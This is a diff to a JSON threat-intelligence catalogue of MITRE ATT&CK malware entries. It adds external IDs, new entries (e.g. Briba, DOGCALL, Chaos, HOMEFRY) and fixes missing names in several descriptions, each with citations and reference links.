+ "description": "is a rootkit trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)\n\nAliases: Linfo",
+ "value": "Linfo - S0211",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0211",
+ "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
+ "https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051605-2535-99"
+ ],
+ "external_id": "S0211",
+ "synonyms": [
+ "Linfo"
+ ]
+ },
+ "uuid": "e9e9bfe2-76f4-4870-a2a1-b7af89808613"
+ },
{
"description": "Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to Skeleton Key is included as a module in Mimikatz.\n\nAliases: Skeleton Key",
"value": "Skeleton Key - S0007",
@@ -1348,6 +1776,7 @@
"https://attack.mitre.org/wiki/Software/S0007",
"http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/"
],
+ "external_id": "S0007",
"synonyms": [
"Skeleton Key"
]
@@ -1363,6 +1792,7 @@
"https://www.fireeye.com/blog/threat-research/2016/11/fireeye%20respondsto.html",
"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
],
+ "external_id": "S0140",
"synonyms": [
"Shamoon",
"Disttrack"
@@ -1371,13 +1801,14 @@
"uuid": "8901ac23-6b50-410c-b0dd-d8174a86f9b3"
},
{
- "description": "is a RAT that has been used by Lazarus Group since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other Lazarus Group malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)\n\nAliases: FALLCHILL",
+ "description": "FALLCHILL is a RAT that has been used by Lazarus Group since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other Lazarus Group malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)\n\nAliases: FALLCHILL",
"value": "FALLCHILL - S0181",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0181",
"https://www.us-cert.gov/ncas/alerts/TA17-318A"
],
+ "external_id": "S0181",
"synonyms": [
"FALLCHILL"
]
@@ -1385,13 +1816,30 @@
"uuid": "fece06b7-d4b1-42cf-b81a-5323c917546e"
},
{
- "description": "is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)\n\nAliases: Volgmer",
+ "description": "Briba is a trojan used by Elderwood to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)\n\nAliases: Briba",
+ "value": "Briba - S0204",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0204",
+ "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
+ "https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051515-2843-99"
+ ],
+ "external_id": "S0204",
+ "synonyms": [
+ "Briba"
+ ]
+ },
+ "uuid": "79499993-a8d6-45eb-b343-bf58dea5bdde"
+ },
+ {
+ "description": "Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)\n\nAliases: Volgmer",
"value": "Volgmer - S0180",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0180",
"https://www.us-cert.gov/ncas/alerts/TA17-318B"
],
+ "external_id": "S0180",
"synonyms": [
"Volgmer"
]
@@ -1399,13 +1847,14 @@
"uuid": "495b6cdb-7b5a-4fbc-8d33-e7ef68806d08"
},
{
- "description": "is a 64-bit .NET binary backdoor used by CopyKittens. (Citation: ClearSky Wilted Tulip July 2017)\n\nAliases: TDTESS",
+ "description": "TDTESS is a 64-bit .NET binary backdoor used by CopyKittens. (Citation: ClearSky Wilted Tulip July 2017)\n\nAliases: TDTESS",
"value": "TDTESS - S0164",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0164",
"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
],
+ "external_id": "S0164",
"synonyms": [
"TDTESS"
]
@@ -1420,12 +1869,29 @@
"https://attack.mitre.org/wiki/Software/S0065",
"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
],
+ "external_id": "S0065",
"synonyms": [
"4H RAT"
]
},
"uuid": "8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc"
},
+ {
+ "description": "TURNEDUP is a non-public backdoor. It has been dropped by APT33's DROPSHOT malware (also known as Stonedrill). (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)\n\nAliases: TURNEDUP",
+ "value": "TURNEDUP - S0199",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0199",
+ "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html",
+ "https://www.brighttalk.com/webcast/10703/275683"
+ ],
+ "external_id": "S0199",
+ "synonyms": [
+ "TURNEDUP"
+ ]
+ },
+ "uuid": "db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c"
+ },
{
"description": "BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector. (Citation: MTrends 2016)\n\nAliases: BOOTRASH",
"value": "BOOTRASH - S0114",
@@ -1434,6 +1900,7 @@
"https://attack.mitre.org/wiki/Software/S0114",
"https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf"
],
+ "external_id": "S0114",
"synonyms": [
"BOOTRASH"
]
@@ -1441,14 +1908,16 @@
"uuid": "da2ef4a9-7cbe-400a-a379-e2f230f28db3"
},
{
- "description": "China Chopper is a Web shell hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups, including Threat Group-3390. (Citation: Dell TG-3390)\n\nAliases: China Chopper",
+ "description": "China Chopper is a Web shell hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)\n\nAliases: China Chopper",
"value": "China Chopper - S0020",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0020",
"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
- "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/"
+ "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/",
+ "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
],
+ "external_id": "S0020",
"synonyms": [
"China Chopper"
]
@@ -1463,6 +1932,7 @@
"https://attack.mitre.org/wiki/Software/S0041",
"http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/"
],
+ "external_id": "S0041",
"synonyms": [
"Wiper"
]
@@ -1477,6 +1947,7 @@
"https://attack.mitre.org/wiki/Software/S0130",
"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
],
+ "external_id": "S0130",
"synonyms": [
"Unknown Logger"
]
@@ -1491,12 +1962,28 @@
"https://attack.mitre.org/wiki/Software/S0032",
"https://www.fireeye.com/blog/threat-research/2015/07/demonstrating%20hustle.html"
],
+ "external_id": "S0032",
"synonyms": [
"gh0st"
]
},
"uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24"
},
+ {
+ "description": "is a backdoor used by APT37 that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)\n\nAliases: DOGCALL",
+ "value": "DOGCALL - S0213",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0213",
+ "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf"
+ ],
+ "external_id": "S0213",
+ "synonyms": [
+ "DOGCALL"
+ ]
+ },
+ "uuid": "0852567d-7958-4f4b-8947-4f840ec8d57d"
+ },
{
"description": "Helminth is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)\n\nAliases: Helminth\n\nContributors: Robert Falcone",
"value": "Helminth - S0170",
@@ -1505,6 +1992,7 @@
"https://attack.mitre.org/wiki/Software/S0170",
"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
],
+ "external_id": "S0170",
"synonyms": [
"Helminth"
]
@@ -1519,6 +2007,7 @@
"https://attack.mitre.org/wiki/Software/S0137",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
],
+ "external_id": "S0137",
"synonyms": [
"CORESHELL",
"SOURFACE"
@@ -1534,6 +2023,7 @@
"https://attack.mitre.org/wiki/Software/S0157",
"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
],
+ "external_id": "S0157",
"synonyms": [
"SOUNDBITE"
]
@@ -1548,6 +2038,7 @@
"https://attack.mitre.org/wiki/Software/S0125",
"http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
],
+ "external_id": "S0125",
"synonyms": [
"Remsec",
"Backdoor.Remsec",
@@ -1556,6 +2047,21 @@
},
"uuid": "69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8"
},
+ {
+ "description": "POORAIM is a backdoor used by APT37 in campaigns since at least 2014. (Citation: FireEye APT37 Feb 2018)\n\nAliases: POORAIM",
+ "value": "POORAIM - S0216",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0216",
+ "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf"
+ ],
+ "external_id": "S0216",
+ "synonyms": [
+ "POORAIM"
+ ]
+ },
+ "uuid": "53d47b09-09c2-4015-8d37-6633ecd53f79"
+ },
{
"description": "FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)\n\nAliases: FLASHFLOOD",
"value": "FLASHFLOOD - S0036",
@@ -1564,6 +2070,7 @@
"https://attack.mitre.org/wiki/Software/S0036",
"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
],
+ "external_id": "S0036",
"synonyms": [
"FLASHFLOOD"
]
@@ -1578,6 +2085,7 @@
"https://attack.mitre.org/wiki/Software/S0131",
"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
],
+ "external_id": "S0131",
"synonyms": [
"TINYTYPHON"
]
@@ -1592,6 +2100,7 @@
"https://attack.mitre.org/wiki/Software/S0168",
"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
],
+ "external_id": "S0168",
"synonyms": [
"Gazer",
"WhiteBear"
@@ -1607,6 +2116,7 @@
"https://attack.mitre.org/wiki/Software/S0053",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
+ "external_id": "S0053",
"synonyms": [
"SeaDuke",
"SeaDaddy",
@@ -1623,6 +2133,7 @@
"https://attack.mitre.org/wiki/Software/S0151",
"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
],
+ "external_id": "S0151",
"synonyms": [
"HALFBAKED"
]
@@ -1638,6 +2149,7 @@
"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/",
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
],
+ "external_id": "S0045",
"synonyms": [
"ADVSTORESHELL",
"NETUI",
@@ -1656,6 +2168,7 @@
"https://attack.mitre.org/wiki/Software/S0159",
"https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html"
],
+ "external_id": "S0159",
"synonyms": [
"SNUGRIDE"
]
@@ -1670,12 +2183,27 @@
"https://attack.mitre.org/wiki/Software/S0085",
"https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf"
],
+ "external_id": "S0085",
"synonyms": [
"S-Type"
]
},
"uuid": "66b1dcde-17a0-4c7b-95fa-b08d430c2131"
},
+ {
+ "description": "Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets\n\nAliases: Chaos",
+ "value": "Chaos - S0220",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0220"
+ ],
+ "external_id": "S0220",
+ "synonyms": [
+ "Chaos"
+ ]
+ },
+ "uuid": "5bcd5511-6756-4824-a692-e8bb109364af"
+ },
{
"description": "NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)\n\nAliases: NetTraveler",
"value": "NetTraveler - S0033",
@@ -1684,6 +2212,7 @@
"https://attack.mitre.org/wiki/Software/S0033",
"http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf"
],
+ "external_id": "S0033",
"synonyms": [
"NetTraveler"
]
@@ -1691,13 +2220,14 @@
"uuid": "cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e"
},
{
- "description": "is a custom tool used by APT3 to execute commands on a remote system similar to SysInternal's PSEXEC functionality. (Citation: Symantec Buckeye)\n\nAliases: RemoteCMD",
+ "description": "RemoteCMD is a custom tool used by APT3 to execute commands on a remote system similar to SysInternal's PSEXEC functionality. (Citation: Symantec Buckeye)\n\nAliases: RemoteCMD",
"value": "RemoteCMD - S0166",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0166",
"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
],
+ "external_id": "S0166",
"synonyms": [
"RemoteCMD"
]
@@ -1712,6 +2242,7 @@
"https://attack.mitre.org/wiki/Software/S0024",
"http://www.seculert.com/blogs/new-dyre-version-yet-another-malware-evading-sandboxes"
],
+ "external_id": "S0024",
"synonyms": [
"Dyre"
]
@@ -1726,6 +2257,7 @@
"https://attack.mitre.org/wiki/Software/S0016",
"http://www.secureworks.com/cyber-threat-intelligence/threats/The%20Lifecycle%20of%20Peer%20to%20Peer%20Gameover%20ZeuS/"
],
+ "external_id": "S0016",
"synonyms": [
"P2P ZeuS",
"Peer-to-Peer ZeuS",
@@ -1735,16 +2267,20 @@
"uuid": "b2c5d3ca-b43a-4888-ad8d-e2d43497bf85"
},
{
- "description": "is a government-grade commercial surveillance reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. (Citation: FinFisher) (Citation: Microsoft SIR Vol 21)\n\nAliases: (Citation: FinFisher)",
+ "description": " (Citation: FinFisher) is a government-grade commercial surveillance reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including Wingbird. (Citation: FinFisher) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017)\n\nAliases: (Citation: FinFisher), FinSpy",
"value": "FinFisher - S0182",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0182",
"http://www.finfisher.com/FinFisher/index.html",
- "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+ "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf",
+ "https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html",
+ "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/"
],
+ "external_id": "S0182",
"synonyms": [
- "FinFisher"
+ "FinFisher",
+ "FinSpy"
]
},
"uuid": "a5528622-3a8a-4633-86ce-8cdaf8423858"
@@ -1758,6 +2294,7 @@
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/waterbug-attack-group.pdf",
"https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf"
],
+ "external_id": "S0126",
"synonyms": [
"ComRAT"
]
@@ -1772,6 +2309,7 @@
"https://attack.mitre.org/wiki/Software/S0150",
"https://www.fireeye.com/blog/threat-research/2017/03/dissecting%20one%20ofap.html"
],
+ "external_id": "S0150",
"synonyms": [
"POSHSPY"
]
@@ -1779,7 +2317,21 @@
"uuid": "5e595477-2e78-4ce7-ae42-e0b059b17808"
},
{
- "description": "is a modular backdoor that has been used by Sowbug. (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)\n\nAliases: Felismus",
+ "description": "is a backdoor used by PLATINUM that is similar to Dipsind. (Citation: Microsoft PLATINUM April 2016)\n\nAliases: adbupd\n\nContributors: Ryan Becwar",
+ "value": "adbupd - S0202",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0202"
+ ],
+ "external_id": "S0202",
+ "synonyms": [
+ "adbupd"
+ ]
+ },
+ "uuid": "0f1ad2ef-41d4-4b7a-9304-ddae68ea3005"
+ },
+ {
+ "description": "Felismus is a modular backdoor that has been used by Sowbug. (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)\n\nAliases: Felismus",
"value": "Felismus - S0171",
"meta": {
"refs": [
@@ -1787,6 +2339,7 @@
"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments",
"https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
],
+ "external_id": "S0171",
"synonyms": [
"Felismus"
]
@@ -1794,7 +2347,7 @@
"uuid": "196f1f32-e0c2-4d46-99cd-234d4b6befe1"
},
{
- "description": "is first-stage malware that has been used by PROMETHIUM. It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)\n\nAliases: Truvasys",
+ "description": "Truvasys is first-stage malware that has been used by PROMETHIUM. It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)\n\nAliases: Truvasys",
"value": "Truvasys - S0178",
"meta": {
"refs": [
@@ -1803,6 +2356,7 @@
"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/",
"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
],
+ "external_id": "S0178",
"synonyms": [
"Truvasys"
]
@@ -1819,6 +2373,7 @@
"https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/",
"http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf"
],
+ "external_id": "S0141",
"synonyms": [
"Winnti"
]
@@ -1833,6 +2388,7 @@
"https://attack.mitre.org/wiki/Software/S0148",
"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf"
],
+ "external_id": "S0148",
"synonyms": [
"RTM"
]
@@ -1847,6 +2403,7 @@
"https://attack.mitre.org/wiki/Software/S0077",
"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
],
+ "external_id": "S0077",
"synonyms": [
"CallMe"
]
@@ -1862,6 +2419,7 @@
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf",
"http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf"
],
+ "external_id": "S0135",
"synonyms": [
"HIDEDRV"
]
@@ -1876,6 +2434,7 @@
"https://attack.mitre.org/wiki/Software/S0084",
"https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf"
],
+ "external_id": "S0084",
"synonyms": [
"Mis-Type"
]
@@ -1890,6 +2449,7 @@
"https://attack.mitre.org/wiki/Software/S0009",
"http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf"
],
+ "external_id": "S0009",
"synonyms": [
"Hikit"
]
@@ -1904,6 +2464,7 @@
"https://attack.mitre.org/wiki/Software/S0073",
"http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/"
],
+ "external_id": "S0073",
"synonyms": [
"ASPXSpy",
"ASPXTool"
@@ -1912,13 +2473,28 @@
"uuid": "56f46b17-8cfa-46c0-b501-dd52fef394e2"
},
{
- "description": "is a Web shell that has been used by APT34. (Citation: FireEye APT34 Webinar Dec 2017)\n\nAliases: SEASHARPEE",
+ "description": "Dipsind is a malware family of backdoors that appear to be used exclusively by PLATINUM. (Citation: Microsoft PLATINUM April 2016)\n\nAliases: Dipsind\n\nContributors: Ryan Becwar",
+ "value": "Dipsind - S0200",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0200"
+ ],
+ "external_id": "S0200",
+ "synonyms": [
+ "Dipsind"
+ ]
+ },
+ "uuid": "e170995d-4f61-4f17-b60e-04f9a06ee517"
+ },
+ {
+ "description": "SEASHARPEE is a Web shell that has been used by APT34. (Citation: FireEye APT34 Webinar Dec 2017)\n\nAliases: SEASHARPEE",
"value": "SEASHARPEE - S0185",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0185",
"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
],
+ "external_id": "S0185",
"synonyms": [
"SEASHARPEE"
]
@@ -1934,6 +2510,7 @@
"https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards",
"http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments"
],
+ "external_id": "S0018",
"synonyms": [
"Sykipot"
]
@@ -1941,13 +2518,14 @@
"uuid": "6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9"
},
{
- "description": "is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)\n\nAliases: DownPaper",
+ "description": "DownPaper is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)\n\nAliases: DownPaper",
"value": "DownPaper - S0186",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0186",
"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
],
+ "external_id": "S0186",
"synonyms": [
"DownPaper"
]
@@ -1955,19 +2533,35 @@
"uuid": "e48df773-7c95-4a4c-ba70-ea3d15900148"
},
{
- "description": "is a custom tool used by APT3 to do internal discovery on a victim's computer and network. (Citation: Symantec Buckeye)\n\nAliases: OSInfo",
+ "description": "OSInfo is a custom tool used by APT3 to do internal discovery on a victim's computer and network. (Citation: Symantec Buckeye)\n\nAliases: OSInfo",
"value": "OSInfo - S0165",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0165",
"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
],
+ "external_id": "S0165",
"synonyms": [
"OSInfo"
]
},
"uuid": "f6d1d2cb-12f5-4221-9636-44606ea1f3f8"
},
+ {
+ "description": "HOMEFRY is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other Leviathan backdoors. (Citation: FireEye Periscope March 2018)\n\nAliases: HOMEFRY",
+ "value": "HOMEFRY - S0232",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0232",
+ "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
+ ],
+ "external_id": "S0232",
+ "synonyms": [
+ "HOMEFRY"
+ ]
+ },
+ "uuid": "7451bcf9-e6e6-4a70-bc3d-1599173d0035"
+ },
{
"description": "GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)\n\nAliases: GLOOXMAIL, Trojan.GTALK",
"value": "GLOOXMAIL - S0026",
@@ -1976,6 +2570,7 @@
"https://attack.mitre.org/wiki/Software/S0026",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
],
+ "external_id": "S0026",
"synonyms": [
"GLOOXMAIL",
"Trojan.GTALK"
@@ -1991,12 +2586,30 @@
"https://attack.mitre.org/wiki/Software/S0082",
"http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"
],
+ "external_id": "S0082",
"synonyms": [
"Emissary"
]
},
"uuid": "0f862b01-99da-47cc-9bdb-db4a86a95bb1"
},
+ {
+ "description": "PUNCHTRACK is non-persistent point of sale (POS) system malware utilized by FIN8 to scrape payment card data. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)\n\nAliases: PUNCHTRACK, PSVC",
+ "value": "PUNCHTRACK - S0197",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0197",
+ "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html",
+ "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
+ ],
+ "external_id": "S0197",
+ "synonyms": [
+ "PUNCHTRACK",
+ "PSVC"
+ ]
+ },
+ "uuid": "c4de7d83-e875-4c88-8b5d-06c41e5b7e79"
+ },
{
"description": "Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)\n\nAliases: Miner-C, Mal/Miner-C, PhotoMiner",
"value": "Miner-C - S0133",
@@ -2005,6 +2618,7 @@
"https://attack.mitre.org/wiki/Software/S0133",
"http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml"
],
+ "external_id": "S0133",
"synonyms": [
"Miner-C",
"Mal/Miner-C",
@@ -2020,6 +2634,7 @@
"refs": [
"https://attack.mitre.org/wiki/Software/S0062"
],
+ "external_id": "S0062",
"synonyms": [
"DustySky",
"NeD Worm"
@@ -2035,6 +2650,7 @@
"https://attack.mitre.org/wiki/Software/S0043",
"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
],
+ "external_id": "S0043",
"synonyms": [
"BUBBLEWRAP",
"Backdoor.APT.FakeWinHTTPHelper"
@@ -2050,6 +2666,7 @@
"https://attack.mitre.org/wiki/Software/S0067",
"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
],
+ "external_id": "S0067",
"synonyms": [
"pngdowner"
]
@@ -2064,6 +2681,7 @@
"https://attack.mitre.org/wiki/Software/S0058",
"https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf"
],
+ "external_id": "S0058",
"synonyms": [
"SslMM"
]
@@ -2078,6 +2696,7 @@
"https://attack.mitre.org/wiki/Software/S0118",
"http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
],
+ "external_id": "S0118",
"synonyms": [
"Nidiran",
"Backdoor.Nidiran"
@@ -2093,12 +2712,28 @@
"https://attack.mitre.org/wiki/Software/S0001",
"http://www.symantec.com/connect/blogs/bios-threat-showing-again"
],
+ "external_id": "S0001",
"synonyms": [
"Trojan.Mebromi"
]
},
"uuid": "c5e9cb46-aced-466c-85ea-7db5572ad9ec"
},
+ {
+ "description": "is a backdoor typically used by APT37 as first-stage malware. (Citation: FireEye APT37 Feb 2018)\n\nAliases: KARAE",
+ "value": "KARAE - S0215",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0215",
+ "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf"
+ ],
+ "external_id": "S0215",
+ "synonyms": [
+ "KARAE"
+ ]
+ },
+ "uuid": "3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322"
+ },
{
"description": "OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390. (Citation: Dell TG-3390)\n\nAliases: OwaAuth",
"value": "OwaAuth - S0072",
@@ -2107,6 +2742,7 @@
"https://attack.mitre.org/wiki/Software/S0072",
"http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/"
],
+ "external_id": "S0072",
"synonyms": [
"OwaAuth"
]
@@ -2121,12 +2757,28 @@
"https://attack.mitre.org/wiki/Software/S0112",
"https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html"
],
+ "external_id": "S0112",
"synonyms": [
"ROCKBOOT"
]
},
"uuid": "cba78a1c-186f-4112-9e6a-be1839f030f7"
},
+ {
+ "description": "MURKYTOP is a reconnaissance tool used by Leviathan. (Citation: FireEye Periscope March 2018)\n\nAliases: MURKYTOP",
+ "value": "MURKYTOP - S0233",
+ "meta": {
+ "refs": [
